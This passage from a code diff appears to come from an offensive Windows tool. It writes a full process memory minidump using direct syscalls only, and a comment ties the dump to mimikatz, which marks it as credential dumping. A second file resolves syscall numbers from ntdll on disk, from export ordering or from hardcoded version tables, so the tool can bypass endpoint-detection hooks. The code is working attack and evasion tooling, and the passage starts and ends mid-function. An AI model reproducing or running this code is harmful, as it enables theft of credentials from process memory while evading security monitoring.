dumpContext->DumpMaxSize *= 2;
|
||||
}
|
||||
PVOID ptr = realloc(dumpContext->BaseAddress, dumpContext->DumpMaxSize);
|
||||
if (!ptr) {
|
||||
_tprintf_or_not(TEXT("[-] Syscall process dump failed: reallocation failed\n"));
|
||||
return FALSE;
|
||||
}
|
||||
dumpContext->BaseAddress = ptr;
|
||||
}
|
||||
|
||||
writeAtRVA(dumpContext, dumpContext->RVA, data, size);
|
||||
dumpContext->RVA = newRVA;
|
||||
return TRUE;
|
||||
|
||||
}
|
||||
|
||||
BOOL writeMiniDumpHeader(DUMP_CONTEXT* dumpContext) {
|
||||
MINIDUMP_HEADER header = { 0 };
|
||||
header.Signature = dumpContext->Signature;
|
||||
header.Version = dumpContext->Version | (((DWORD)dumpContext->ImplementationVersion)<<16);
|
||||
// Only SystemInfoStream, ModuleListStream and Memory64ListStream streams.
|
||||
header.NumberOfStreams = 3;
|
||||
header.NumberOfStreams = (header.NumberOfStreams + 3) & ~3; // round up to next multiple of 4, https://github.com/w1u0u1/minidump/blob/main/minidump/minidump.c ?
|
||||
header.StreamDirectoryRva = sizeof(MINIDUMP_HEADER);
|
||||
header.CheckSum = 0;
|
||||
header.Reserved = 0;
|
||||
header.TimeDateStamp = 0;
|
||||
header.Flags = MiniDumpWithFullMemory;
|
||||
|
||||
if (!appendToDump(dumpContext, &header, sizeof(MINIDUMP_HEADER))) {
|
||||
_tprintf_or_not(TEXT("[-] Syscall process dump failed: failed to write dump header\n"));
|
||||
return STATUS_UNSUCCESSFUL;
|
||||
}
|
||||
|
||||
return STATUS_SUCCES;
|
||||
}
|
||||
|
||||
DWORD writeMiniDumpDirectories(DUMP_CONTEXT* dumpContext) {
|
||||
DWORD nbDirectories = 0;
|
||||
|
||||
MINIDUMP_DIRECTORY systemInfoDirectory = { 0 };
|
||||
systemInfoDirectory.StreamType = SystemInfoStream;
|
||||
systemInfoDirectory.Location.DataSize = 0;
|
||||
systemInfoDirectory.Location.Rva = 0;
|
||||
if (!appendToDump(dumpContext, &systemInfoDirectory, sizeof(systemInfoDirectory))) {
|
||||
_tprintf_or_not(TEXT("[-] Syscall process dump failed: couldn't write SystemInfoStream directory\n"));
|
||||
return STATUS_UNSUCCESSFUL;
|
||||
}
|
||||
nbDirectories++;
|
||||
|
||||
MINIDUMP_DIRECTORY moduleListDirectory = { 0 };
|
||||
moduleListDirectory.StreamType = ModuleListStream;
|
||||
moduleListDirectory.Location.DataSize = 0;
|
||||
moduleListDirectory.Location.Rva = 0;
|
||||
if (!appendToDump(dumpContext, &moduleListDirectory, sizeof(moduleListDirectory)))
|
||||
{
|
||||
_tprintf_or_not(TEXT("[-] Syscall process dump failed: couldn't write ModuleListStream directory\n"));
|
||||
return STATUS_UNSUCCESSFUL;
|
||||
}
|
||||
nbDirectories++;
|
||||
|
||||
MINIDUMP_DIRECTORY memory64ListDumpDirectory = { 0 };
|
||||
memory64ListDumpDirectory.StreamType = Memory64ListStream;
|
||||
memory64ListDumpDirectory.Location.DataSize = 0;
|
||||
memory64ListDumpDirectory.Location.Rva = 0;
|
||||
if (!appendToDump(dumpContext, &memory64ListDumpDirectory, sizeof(memory64ListDumpDirectory))) {
|
||||
_tprintf_or_not(TEXT("[-] Syscall process dump failed: couldn't write Memory64ListStream directory\n"));
|
||||
return STATUS_UNSUCCESSFUL;
|
||||
}
|
||||
nbDirectories++;
|
||||
|
||||
while (nbDirectories & 3) {
|
||||
MINIDUMP_DIRECTORY unusedDirectory = { 0 };
|
||||
unusedDirectory.StreamType = UnusedStream;
|
||||
unusedDirectory.Location.DataSize = 0;
|
||||
unusedDirectory.Location.Rva = 0;
|
||||
|
||||
if (!appendToDump(dumpContext, &unusedDirectory, sizeof(unusedDirectory))) {
|
||||
_tprintf_or_not(TEXT("[-] Syscall process dump failed: couldn't write unusedDirectory directory\n"));
|
||||
return STATUS_UNSUCCESSFUL;
|
||||
}
|
||||
nbDirectories++;
|
||||
}
|
||||
|
||||
return STATUS_SUCCES;
|
||||
}
|
||||
|
||||
DWORD writeMiniDumpSystemInfoStream(DUMP_CONTEXT* dumpContext) {
|
||||
MINIDUMP_SYSTEM_INFO dumpSystemInfo = { 0 };
|
||||
|
||||
// read the PEB.
|
||||
#if _WIN64
|
||||
PEB64 peb = *(PPEB64) __readgsqword(0x60);
|
||||
#else
|
||||
PEB peb = *(PPEB) __readfsdword(0x30);
|
||||
#endif
|
||||
SYSTEM_INFO sysInfo;
|
||||
GetSystemInfo(&sysInfo);
|
||||
|
||||
dumpSystemInfo.ProcessorLevel = sysInfo.wProcessorLevel;
|
||||
dumpSystemInfo.ProcessorRevision = sysInfo.wProcessorRevision;
|
||||
dumpSystemInfo.NumberOfProcessors = (BYTE)sysInfo.dwNumberOfProcessors;
|
||||
dumpSystemInfo.ProductType = VER_NT_WORKSTATION;
|
||||
|
||||
dumpSystemInfo.MajorVersion = peb.OSMajorVersion;
|
||||
dumpSystemInfo.MinorVersion = peb.OSMinorVersion;
|
||||
dumpSystemInfo.BuildNumber = peb.OSBuildNumber;
|
||||
dumpSystemInfo.PlatformId = peb.OSPlatformId;
|
||||
dumpSystemInfo.ProcessorArchitecture = PROCESSOR_ARCHITECTURE;
|
||||
dumpSystemInfo.CSDVersionRva = 0;
|
||||
dumpSystemInfo.SuiteMask = VER_SUITE_SINGLEUSERTS;
|
||||
dumpSystemInfo.Reserved2 = 0;
|
||||
dumpSystemInfo.Cpu.OtherCpuInfo.ProcessorFeatures[0] = 0;
|
||||
dumpSystemInfo.Cpu.OtherCpuInfo.ProcessorFeatures[1] = 0;
|
||||
|
||||
for (DWORD i = 0; i < sizeof(dumpSystemInfo.Cpu.OtherCpuInfo.ProcessorFeatures[0]) * 8; i++) {
|
||||
if (IsProcessorFeaturePresent(i)) {
|
||||
dumpSystemInfo.Cpu.OtherCpuInfo.ProcessorFeatures[0] |= 1LL << i;
|
||||
}
|
||||
}
|
||||
|
||||
RVA streamRVA = dumpContext->RVA;
|
||||
ULONG32 streamSize = sizeof(dumpSystemInfo);
|
||||
if (!appendToDump(dumpContext, &dumpSystemInfo, streamSize)) {
|
||||
_tprintf_or_not(TEXT("[-] Syscall process dump failed: couldn't write the SystemInfoStream (stream rva)\n"));
|
||||
return STATUS_UNSUCCESSFUL;
|
||||
}
|
||||
|
||||
// Append CSDVersion string
|
||||
#if _WIN64
|
||||
ULONG32 CSDVersionLength = peb.CSDVersion.uOrDummyAlign.u.Length;
|
||||
#else
|
||||
ULONG32 CSDVersionLength = peb.CSDVersion.Length;
|
||||
#endif
|
||||
ULONG32 CSDVersionBufferLength = CSDVersionLength + sizeof(WCHAR);
|
||||
PMINIDUMP_STRING CSDVersion = calloc(1, sizeof(MINIDUMP_STRING) + CSDVersionBufferLength);
|
||||
if (!CSDVersion) {
|
||||
_tprintf_or_not(TEXT("[-] Syscall process dump failed: couldn't allocate CSDVersion string\n"));
|
||||
return STATUS_UNSUCCESSFUL;
|
||||
}
|
||||
CSDVersion->Length = CSDVersionLength;
|
||||
memcpy(CSDVersion->Buffer, peb.CSDVersion.Buffer, CSDVersionBufferLength);
|
||||
RVA CSDVersionRVA = dumpContext->RVA;
|
||||
appendToDump(dumpContext, CSDVersion, sizeof(MINIDUMP_STRING) + CSDVersionBufferLength);
|
||||
|
||||
// write our length in the MiniDumpSystemInfo directory
|
||||
writeAtRVA(dumpContext, sizeof(MINIDUMP_HEADER) + offsetof(MINIDUMP_DIRECTORY, Location.DataSize), &streamSize, sizeof(streamSize));
|
||||
|
||||
// write our RVA in the MiniDumpSystemInfo directory
|
||||
writeAtRVA(dumpContext, sizeof(MINIDUMP_HEADER) + offsetof(MINIDUMP_DIRECTORY, Location.Rva), &streamRVA, sizeof(streamRVA));
|
||||
|
||||
// write the CSDVersion RVA in the SystemInfoStream
|
||||
writeAtRVA(dumpContext, streamRVA + offsetof(MINIDUMP_SYSTEM_INFO, CSDVersionRva), &CSDVersionRVA, sizeof(CSDVersionRVA));
|
||||
|
||||
return STATUS_SUCCES;
|
||||
}
|
||||
|
||||
DWORD writeMiniDumpModuleListStream(DUMP_CONTEXT* dumpContext, PMODULE_INFO pmoduleList) {
|
||||
PMODULE_INFO currentModule = pmoduleList;
|
||||
|
||||
ULONG32 modulesCount = 0;
|
||||
|
||||
// Write modules dll metadata (length & path).
|
||||
while (currentModule) {
|
||||
modulesCount = modulesCount + 1;
|
||||
|
||||
currentModule->nameRVA = dumpContext->RVA;
|
||||
|
||||
// Write the module fullname length.
|
||||
ULONG32 DllFullNameLength = (ULONG32)(wcsnlen((WCHAR*) ¤tModule->dllName, sizeof(currentModule->dllName)) + 1) * sizeof(WCHAR);
|
||||
if (!appendToDump(dumpContext, &DllFullNameLength, 4)) {
|
||||
_tprintf_or_not(TEXT("[-] Syscall process dump failed: couldn't write the ModuleListStream (write of module DllFullName length failed)\n"));
|
||||
return STATUS_UNSUCCESSFUL;
|
||||
}
|
||||
|
||||
// Write the module fullname length.
|
||||
if (!appendToDump(dumpContext, currentModule->dllName, DllFullNameLength)) {
|
||||
_tprintf_or_not(TEXT("[-] Syscall process dump failed: couldn't write the ModuleListStream (write of module DllFullName failed)\n"));
|
||||
return STATUS_UNSUCCESSFUL;
|
||||
}
|
||||
currentModule = currentModule->next;
|
||||
}
|
||||
|
||||
// Write the number of modules.
|
||||
RVA streamRVA = dumpContext->RVA;
|
||||
if (!appendToDump(dumpContext, &modulesCount, 4)) {
|
||||
_tprintf_or_not(TEXT("[-] Syscall process dump failed: couldn't write the ModuleListStream (write of number of modules failed)\n"));
|
||||
return STATUS_UNSUCCESSFUL;
|
||||
}
|
||||
|
||||
// Write the modules data.
|
||||
currentModule = pmoduleList;
|
||||
while (currentModule) {
|
||||
MINIDUMP_MODULE module = { 0 };
|
||||
module.BaseOfImage = (ULONG_PTR)currentModule->dllBase;
|
||||
module.SizeOfImage = currentModule->ImageSize;
|
||||
module.CheckSum = currentModule->checkSum;
|
||||
module.TimeDateStamp = currentModule->timeDateStamp;
|
||||
module.ModuleNameRva = currentModule->nameRVA;
|
||||
module.VersionInfo.dwSignature = 0;
|
||||
module.VersionInfo.dwStrucVersion = 0;
|
||||
module.VersionInfo.dwFileVersionMS = 0;
|
||||
module.VersionInfo.dwFileVersionLS = 0;
|
||||
module.VersionInfo.dwProductVersionMS = 0;
|
||||
module.VersionInfo.dwProductVersionLS = 0;
|
||||
module.VersionInfo.dwFileFlagsMask = 0;
|
||||
module.VersionInfo.dwFileFlags = 0;
|
||||
module.VersionInfo.dwFileOS = 0;
|
||||
module.VersionInfo.dwFileType = 0;
|
||||
module.VersionInfo.dwFileSubtype = 0;
|
||||
module.VersionInfo.dwFileDateMS = 0;
|
||||
module.VersionInfo.dwFileDateLS = 0;
|
||||
module.CvRecord.DataSize = 0;
|
||||
module.CvRecord.Rva = 0;
|
||||
module.MiscRecord.DataSize = 0;
|
||||
module.MiscRecord.Rva = 0;
|
||||
module.Reserved0 = 0;
|
||||
module.Reserved1 = 0;
|
||||
|
||||
|
||||
if (!appendToDump(dumpContext, &module, sizeof(module))) {
|
||||
_tprintf_or_not(TEXT("[-] Syscall process dump failed: couldn't write the ModuleListStream (write of module bytes failed)\n"));
|
||||
return STATUS_UNSUCCESSFUL;
|
||||
}
|
||||
currentModule = currentModule->next;
|
||||
}
|
||||
|
||||
// Write the total length in the ModuleListStream directory.
|
||||
// header + 1 directory + streamType
|
||||
ULONG32 streamSize = sizeof(modulesCount) + modulesCount * sizeof(MINIDUMP_MODULE);
|
||||
writeAtRVA(dumpContext, sizeof(MINIDUMP_HEADER) + sizeof(MINIDUMP_DIRECTORY) + offsetof(MINIDUMP_DIRECTORY, Location.DataSize), &streamSize, sizeof(streamSize));
|
||||
|
||||
// Write our RVA in the ModuleListStream directory.
|
||||
// header + 1 directory + streamType + Location.DataSize
|
||||
writeAtRVA(dumpContext, sizeof(MINIDUMP_HEADER) + sizeof(MINIDUMP_DIRECTORY) + offsetof(MINIDUMP_DIRECTORY, Location.Rva), &streamRVA, sizeof(streamRVA));
|
||||
|
||||
return STATUS_SUCCES;
|
||||
}
|
||||
|
||||
DWORD writeMiniDumpMemory64ListStream(DUMP_CONTEXT* dumpContext, PMEMORY_PAGE_INFO pmemoryPages) {
|
||||
RVA streamRVA = dumpContext->RVA;
|
||||
|
||||
PMINIDUMP_MEMORY64_LIST memory64List = calloc(1, sizeof(MINIDUMP_MEMORY64_LIST));
|
||||
if (!memory64List) {
|
||||
_tprintf_or_not(TEXT("[-] Syscall process dump failed: couldn't alloc the Memory64ListStream structure\n"));
|
||||
return STATUS_UNSUCCESSFUL;
|
||||
}
|
||||
|
||||
// Count the number of memory ranges.
|
||||
PMEMORY_PAGE_INFO currentMemoryPage = pmemoryPages;
|
||||
ULONG32 memoryPagesCount = 0;
|
||||
while (currentMemoryPage) {
|
||||
memoryPagesCount++;
|
||||
currentMemoryPage = currentMemoryPage->next;
|
||||
}
|
||||
memory64List->NumberOfMemoryRanges = memoryPagesCount;
|
||||
|
||||
// Extend the structure to host all ranges
|
||||
ULONG32 streamSize = sizeof(MINIDUMP_MEMORY64_LIST) + memoryPagesCount * sizeof(MINIDUMP_MEMORY_DESCRIPTOR64);
|
||||
PMINIDUMP_MEMORY64_LIST tmp = realloc(memory64List, streamSize);
|
||||
if (!tmp) {
|
||||
_tprintf_or_not(TEXT("[-] Syscall process dump failed: couldn't realloc the Memory64ListStream structure\n"));
|
||||
return STATUS_UNSUCCESSFUL;
|
||||
}
|
||||
memory64List = tmp;
|
||||
|
||||
// Compute the rva of the actual memory content
|
||||
RVA64 baseRVA = (RVA64)streamRVA + (RVA64)streamSize;
|
||||
memory64List->BaseRva = baseRVA;
|
||||
|
||||
// Compute the start and size of each memory Page.
|
||||
currentMemoryPage = pmemoryPages;
|
||||
SIZE_T indexMemoryRange = 0;
|
||||
while (currentMemoryPage) {
|
||||
memory64List->MemoryRanges[indexMemoryRange].StartOfMemoryRange = currentMemoryPage->startOfMemoryPage;
|
||||
memory64List->MemoryRanges[indexMemoryRange].DataSize = currentMemoryPage->dataSize;
|
||||
currentMemoryPage = currentMemoryPage->next;
|
||||
indexMemoryRange++;
|
||||
}
|
||||
|
||||
//Write the actual stream
|
||||
appendToDump(dumpContext, memory64List, streamSize);
|
||||
free(memory64List);
|
||||
memory64List = NULL;
|
||||
|
||||
// Write our length in the Memory64ListStream directory.
|
||||
// header + 2 directories + streamType.
|
||||
writeAtRVA(dumpContext, sizeof(MINIDUMP_HEADER) + sizeof(MINIDUMP_DIRECTORY) * 2 + offsetof(MINIDUMP_DIRECTORY, Location.DataSize), &streamSize, sizeof(streamSize));
|
||||
|
||||
// write our RVA in the Memory64ListStream directory
|
||||
// header + 2 directories + streamType + Location.DataSize
|
||||
writeAtRVA(dumpContext, sizeof(MINIDUMP_HEADER) + sizeof(MINIDUMP_DIRECTORY) * 2 + offsetof(MINIDUMP_DIRECTORY, Location.Rva), &streamRVA, sizeof(streamRVA));
|
||||
|
||||
// dump all the selected memory Pages.
|
||||
currentMemoryPage = pmemoryPages;
|
||||
while (currentMemoryPage) {
|
||||
PBYTE buffer = calloc(currentMemoryPage->dataSize, 1);
|
||||
if (!buffer) {
|
||||
_tprintf_or_not(TEXT("[-] Syscall process dump failed: couldn't write the Memory64ListStream stream (failed to allocate memory for memory Page)\n"));
|
||||
return STATUS_UNSUCCESSFUL;
|
||||
}
|
||||
|
||||
NTSTATUS status = NtReadVirtualMemory(dumpContext->hProcess, (PVOID)(ULONG_PTR)currentMemoryPage->startOfMemoryPage, buffer, currentMemoryPage->dataSize, NULL);
|
||||
// once in a while, a Page fails with STATUS_PARTIAL_COPY, not relevant for mimikatz
|
||||
if (!NT_SUCCESS(status) && status != STATUS_PARTIAL_COPY) {
|
||||
_tprintf_or_not(TEXT("[-] Failed to read memory Page: startOfMemoryPage: 0x%p, dataSize: 0x%llx, state: 0x%lx, protect: 0x%lx, type: 0x%lx, NtReadVirtualMemory status: 0x%lx. Continuing anyways...\n"),
|
||||
(PVOID)(ULONG_PTR)currentMemoryPage->startOfMemoryPage,
|
||||
currentMemoryPage->dataSize,
|
||||
currentMemoryPage->state,
|
||||
currentMemoryPage->protect,
|
||||
currentMemoryPage->type,
|
||||
status);
|
||||
}
|
||||
if (MAXDWORD < currentMemoryPage->dataSize) {
|
||||
_tprintf_or_not(TEXT("[-] Syscall process dump failed: memory range too big ! Aboring\n"));
|
||||
return STATUS_UNSUCCESSFUL;
|
||||
}
|
||||
if (!appendToDump(dumpContext, buffer, (DWORD)currentMemoryPage->dataSize)) {
|
||||
_tprintf_or_not(TEXT("[-] Syscall process dump failed: couldn't write the Memory64ListStream stream (failed to write memory Page)\n"));
|
||||
return STATUS_UNSUCCESSFUL;
|
||||
}
|
||||
|
||||
// Free memory Page (overwrite it first, just in case).
|
||||
memset(buffer, 0, currentMemoryPage->dataSize);
|
||||
free(buffer);
|
||||
buffer = NULL;
|
||||
|
||||
currentMemoryPage = currentMemoryPage->next;
|
||||
}
|
||||
|
||||
return STATUS_SUCCES;
|
||||
}
|
||||
|
||||
DWORD SandMiniDumpWriteDump(TCHAR* targetProcessName, WCHAR* dumpFilePath) {
|
||||
DWORD status = STATUS_UNSUCCESSFUL;
|
||||
DWORD targetProcessPID = 0;
|
||||
|
||||
PMODULE_INFO pmoduleList = NULL;
|
||||
PMEMORY_PAGE_INFO pmemoryPages = NULL;
|
||||
|
||||
HANDLE hDumpFile = NULL;
|
||||
OBJECT_ATTRIBUTES ObjectAttributesDumpFile = { 0 };
|
||||
IO_STATUS_BLOCK IoStatusBlock = { 0 };
|
||||
LARGE_INTEGER AllocationSize = { 0 };
|
||||
|
||||
HANDLE htargetProcess = NULL;
|
||||
OBJECT_ATTRIBUTES ObjectAttributesProcess = { 0 };
|
||||
|
||||
status = SandFindProcessPidByName(targetProcessName, &targetProcessPID);
|
||||
|
||||
if (!NT_SUCCESS(status) || targetProcessPID == 0) {
|
||||
_tprintf_or_not(TEXT("[-] Syscall process dump failed: couldn't find target %s process PID\n"), targetProcessName);
|
||||
goto cleanup;
|
||||
}
|
||||
|
||||
WCHAR FilePath[MAX_PATH] = { 0 };
|
||||
const WCHAR prefix[] = L"\\??\\";
|
||||
memcpy_s(FilePath, sizeof(FilePath), prefix, sizeof(prefix));
|
||||
UNICODE_STRING dumpFilePathAsUnicodeStr = { 0 };
|
||||
wcscat_s(FilePath, _countof(FilePath), dumpFilePath);
|
||||
|
||||
getUnicodeStringFromTCHAR(&dumpFilePathAsUnicodeStr, FilePath);
|
||||
|
||||
// Create the dump file to validate that the output path is correct beforing accessing the process to dump memory.
|
||||
InitializeObjectAttributes(&ObjectAttributesDumpFile, &dumpFilePathAsUnicodeStr, OBJ_CASE_INSENSITIVE, NULL, NULL);
|
||||
status = NtCreateFile(&hDumpFile, FILE_GENERIC_WRITE, &ObjectAttributesDumpFile, &IoStatusBlock, &AllocationSize, FILE_ATTRIBUTE_NORMAL, 0, FILE_OVERWRITE_IF, FILE_SYNCHRONOUS_IO_NONALERT, NULL, 0);
|
||||
if (status == STATUS_OBJECT_PATH_NOT_FOUND || status == STATUS_OBJECT_NAME_INVALID) {
|
||||
_tprintf_or_not(TEXT("[-] Syscall process dump failed: the dump file %s path is not valid\n"), FilePath);
|
||||
goto cleanup;
|
||||
}
|
||||
else if (!NT_SUCCESS(status)) {
|
||||
_tprintf_or_not(TEXT("[-] Syscall process dump failed: couldn't create empty dump file (NtCreateFile error 0x%x).\n"), status);
|
||||
goto cleanup;
|
||||
}
|
||||
|
||||
// Open an handle to the process to dump.
|
||||
InitializeObjectAttributes(&ObjectAttributesProcess, NULL, 0, NULL, NULL);
|
||||
CLIENT_ID clientId = { 0 };
|
||||
clientId.ProcessId = UlongToHandle(targetProcessPID);
|
||||
|
||||
status = NtOpenProcess(&htargetProcess, PROCESS_VM_OPERATION | PROCESS_VM_READ | PROCESS_QUERY_INFORMATION, &ObjectAttributesProcess, &clientId);
|
||||
if (status == STATUS_ACCESS_DENIED) {
|
||||
_tprintf_or_not(TEXT("[-] Syscall process dump failed: access denied error while trying to get an handle on the target process (NtOpenProcesserror 0x%x).\n"), status);
|
||||
goto cleanup;
|
||||
}
|
||||
else if (!NT_SUCCESS(status)) {
|
||||
_tprintf_or_not(TEXT("[-] Syscall process dump failed: couldn't get an handle to the target process (NtOpenProcess 0x%x).\n"), status);
|
||||
goto cleanup;
|
||||
}
|
||||
|
||||
// Allocate memory to write the mini dump.
|
||||
SIZE_T dumpSz = sizeof(MINIDUMP_HEADER); // arbitrary, the allocation size grows at each appendToDump
|
||||
PVOID dumpBaseAddr = calloc(dumpSz, 1);
|
||||
if (!dumpBaseAddr) {
|
||||
_tprintf_or_not(TEXT("[-] Syscall process dump failed: couldn't allocate memory for dump file.\n"));
|
||||
goto cleanup;
|
||||
}
|
||||
|
||||
DUMP_CONTEXT dumpContext = { 0 };
|
||||
dumpContext.Signature = MINIDUMP_SIGNATURE;
|
||||
dumpContext.Version = MINIDUMP_VERSION; // | implementation_version << 16
|
||||
dumpContext.hProcess = htargetProcess;
|
||||
dumpContext.BaseAddress = dumpBaseAddr;
|
||||
dumpContext.RVA = 0;
|
||||
dumpContext.DumpMaxSize = dumpSz;
|
||||
|
||||
pmoduleList = getModulesInLdrByInMemoryOrder(htargetProcess);
|
||||
if (!pmoduleList) {
|
||||
goto cleanup;
|
||||
}
|
||||
|
||||
pmemoryPages = getMemoryPagesInfo(dumpContext.hProcess, TRUE);
|
||||
if (!pmemoryPages) {
|
||||
goto cleanup;
|
||||
}
|
||||
|
||||
status = writeMiniDumpHeader(&dumpContext);
|
||||
if (!NT_SUCCESS(status)) {
|
||||
goto cleanup;
|
||||
}
|
||||
|
||||
status = writeMiniDumpDirectories(&dumpContext);
|
||||
if (!NT_SUCCESS(status)) {
|
||||
goto cleanup;
|
||||
}
|
||||
|
||||
status = writeMiniDumpSystemInfoStream(&dumpContext);
|
||||
if (!NT_SUCCESS(status)) {
|
||||
goto cleanup;
|
||||
}
|
||||
|
||||
status = writeMiniDumpModuleListStream(&dumpContext, pmoduleList);
|
||||
if (!NT_SUCCESS(status)) {
|
||||
goto cleanup;
|
||||
}
|
||||
|
||||
status = writeMiniDumpMemory64ListStream(&dumpContext, pmemoryPages);
|
||||
if (!NT_SUCCESS(status)) {
|
||||
goto cleanup;
|
||||
}
|
||||
|
||||
status = NtWriteFile(hDumpFile, NULL, NULL, NULL, &IoStatusBlock, dumpContext.BaseAddress, dumpContext.RVA, NULL, NULL);
|
||||
if (!NT_SUCCESS(status)) {
|
||||
_tprintf_or_not(TEXT("[-] Syscall process dump failed: failed to write dump to file (NtWriteFile 0x%x).\n"), status);
|
||||
goto cleanup;
|
||||
}
|
||||
|
||||
freeLinkedList(pmoduleList);
|
||||
freeLinkedList(pmemoryPages);
|
||||
NtClose(htargetProcess);
|
||||
NtClose(hDumpFile);
|
||||
|
||||
_tprintf_or_not(TEXT("[+] %s sucessfully dumped with direct syscalls only to: %s\n"), targetProcessName, dumpFilePath);
|
||||
|
||||
return STATUS_SUCCES;
|
||||
|
||||
cleanup:
|
||||
if (htargetProcess) {
|
||||
NtClose(htargetProcess);
|
||||
}
|
||||
|
||||
if (hDumpFile) {
|
||||
NtClose(hDumpFile);
|
||||
}
|
||||
|
||||
if (pmoduleList) {
|
||||
freeLinkedList(pmoduleList);
|
||||
}
|
||||
|
||||
if (pmemoryPages) {
|
||||
freeLinkedList(pmemoryPages);
|
||||
}
|
||||
|
||||
return STATUS_UNSUCCESSFUL;
|
||||
}
|
||||
|
||||
DWORD SandMiniDumpWriteDumpFromThread(PVOID* args) {
|
||||
return SandMiniDumpWriteDump(args[0], args[1]);
|
||||
}
|
||||
@@ -0,0 +1,204 @@
|
||||
#include <Windows.h>
|
||||
#include "UserlandHooks.h"
|
||||
#include "PEParser.h"
|
||||
#include "PEBBrowse.h"
|
||||
|
||||
#define INVALID_SYSCALL_NUMBER 0xFFFFFFFF
|
||||
|
||||
DWORD GetSyscallNumberFromMemoryScanning(LPCSTR ntFunctionName) {
|
||||
PE* ntdll_disk;
|
||||
PE* ntdll_mem;
|
||||
getNtdllPEs(&ntdll_mem, &ntdll_disk);
|
||||
DWORD syscallNumber = INVALID_SYSCALL_NUMBER;
|
||||
|
||||
PBYTE scanner = PE_functionAddr(ntdll_disk, ntFunctionName);
|
||||
for (int i = 0; i < 0x10; i++, scanner++) {
|
||||
PDWORD pPotentialSycallNumber = (PDWORD)(scanner + 1);
|
||||
if (*scanner == 0xB8 && *pPotentialSycallNumber < 0x10000) { //B8 : mov eax, imm32
|
||||
syscallNumber = *pPotentialSycallNumber;
|
||||
break;
|
||||
}
|
||||
}
|
||||
return syscallNumber;
|
||||
}
|
||||
|
||||
typedef struct SYSCALL_t {
|
||||
LPCSTR Name;
|
||||
DWORD RVA;
|
||||
DWORD Number;
|
||||
}SYSCALL;
|
||||
|
||||
int CmpSyscallsByRVA(SYSCALL const* a, SYSCALL const* b) {
|
||||
if (a->RVA < b->RVA) {
|
||||
return -1;
|
||||
}
|
||||
else if (a->RVA > b->RVA) {
|
||||
return +1;
|
||||
}
|
||||
else {
|
||||
return 0;
|
||||
}
|
||||
}
|
||||
|
||||
int CmpSyscallsByName(SYSCALL const* a, SYSCALL const* b) {
|
||||
return strcmp(a->Name, b->Name);
|
||||
}
|
||||
|
||||
DWORD g_nbSyscalls = 0;
|
||||
DWORD g_nbSyscallsMax = 0;
|
||||
SYSCALL* g_syscalls = NULL;
|
||||
|
||||
SYSCALL* GetSyscallTable(PDWORD syscallTableSize) {
|
||||
if (g_syscalls != NULL) {
|
||||
*syscallTableSize = g_nbSyscalls;
|
||||
return g_syscalls;
|
||||
}
|
||||
g_nbSyscallsMax = 0x10;
|
||||
g_syscalls = calloc(g_nbSyscallsMax, sizeof(SYSCALL));
|
||||
if (!g_syscalls) {
|
||||
return NULL;
|
||||
}
|
||||
PE* ntdll_mem = NULL;
|
||||
PE* ntdll_disk = NULL;
|
||||
getNtdllPEs(&ntdll_mem, &ntdll_disk);
|
||||
|
||||
// Store all Zw* function as a syscall
|
||||
for (DWORD nameOrdinal = 0; nameOrdinal < ntdll_mem->exportedNamesLength; nameOrdinal++) {
|
||||
LPCSTR functionName = PE_RVA_to_Addr(ntdll_mem, ntdll_mem->exportedNames[nameOrdinal]);
|
||||
if (*(WORD*)functionName == *((WORD*)"Zw")) {
|
||||
if (g_nbSyscalls == g_nbSyscallsMax) {
|
||||
g_nbSyscallsMax *= 2;
|
||||
PVOID tmp = realloc(g_syscalls, g_nbSyscallsMax * sizeof(SYSCALL));
|
||||
if (!tmp) {
|
||||
return NULL;
|
||||
}
|
||||
g_syscalls = tmp;
|
||||
}
|
||||
g_syscalls[g_nbSyscalls].Name = functionName;
|
||||
g_syscalls[g_nbSyscalls].RVA = PE_functionRVA(ntdll_mem, functionName);
|
||||
g_nbSyscalls++;
|
||||
}
|
||||
}
|
||||
PVOID tmp = realloc(g_syscalls, g_nbSyscalls * sizeof(SYSCALL));
|
||||
if (!tmp || !g_nbSyscalls) {
|
||||
return NULL;
|
||||
}
|
||||
g_syscalls = tmp;
|
||||
g_nbSyscallsMax = g_nbSyscalls;
|
||||
|
||||
// Sort the Zw* functions by RVA
|
||||
qsort(g_syscalls, g_nbSyscalls, sizeof(SYSCALL), CmpSyscallsByRVA);
|
||||
|
||||
// Deduce the syscall numbers from order in table
|
||||
for (DWORD j = 0; j < g_nbSyscalls; j++) {
|
||||
g_syscalls[j].Number = j;
|
||||
}
|
||||
// Sort the function back in alphabetical order
|
||||
qsort(g_syscalls, g_nbSyscalls, sizeof(SYSCALL), CmpSyscallsByName);
|
||||
|
||||
*syscallTableSize = g_nbSyscalls;
|
||||
return g_syscalls;
|
||||
}
|
||||
|
||||
DWORD GetSyscallNumberFromHardcodedInformation(LPCSTR ntFunctionName) {
|
||||
PE* ntdll_mem = NULL;
|
||||
PE* ntdll_disk = NULL;
|
||||
getNtdllPEs(&ntdll_mem, &ntdll_disk);
|
||||
|
||||
DWORD syscallNumber = INVALID_SYSCALL_NUMBER;
|
||||
|
||||
if (!strcmp(ntFunctionName, "NtProtectVirtualMemory")) {
|
||||
pRtlGetVersion RtlGetVersion = (pRtlGetVersion)PE_functionAddr(ntdll_mem, "RtlGetVersion");
|
||||
OSVERSIONINFOEXW versionInformation = { 0 };
|
||||
RtlGetVersion(&versionInformation);
|
||||
if (versionInformation.dwMajorVersion == 10 && versionInformation.dwMinorVersion == 0 && versionInformation.dwBuildNumber <= 19044) {
|
||||
syscallNumber = 0x50; // win10
|
||||
}
|
||||
else if (versionInformation.dwMajorVersion == 6 && versionInformation.dwMinorVersion == 3) {
|
||||
syscallNumber = 0x4F; // win8.1 / 2012 R2
|
||||
}
|
||||
else if (versionInformation.dwMajorVersion == 6 && versionInformation.dwMinorVersion == 2) {
|
||||
syscallNumber = 0x4E; // win8 / 2012
|
||||
}
|
||||
else if (versionInformation.dwMajorVersion <= 6) {
|
||||
syscallNumber = 0x4D; // win7 / 2008 R2 & before
|
||||
}
|
||||
}
|
||||
return syscallNumber;
|
||||
}
|
||||
|
||||
|
||||
DWORD GetSyscallNumberFromExportOrdering(LPCSTR ntFunctionName) {
|
||||
DWORD syscallTableSize;
|
||||
SYSCALL* syscallTable = GetSyscallTable(&syscallTableSize);
|
||||
if (syscallTable == NULL) {
|
||||
return INVALID_SYSCALL_NUMBER;
|
||||
}
|
||||
LPSTR zwFunctionName = _strdup(ntFunctionName);
|
||||
if (zwFunctionName == NULL) {
|
||||
return INVALID_SYSCALL_NUMBER;
|
||||
}
|
||||
*(WORD*)zwFunctionName = *(WORD*)"Zw";
|
||||
|
||||
DWORD down = 0;
|
||||
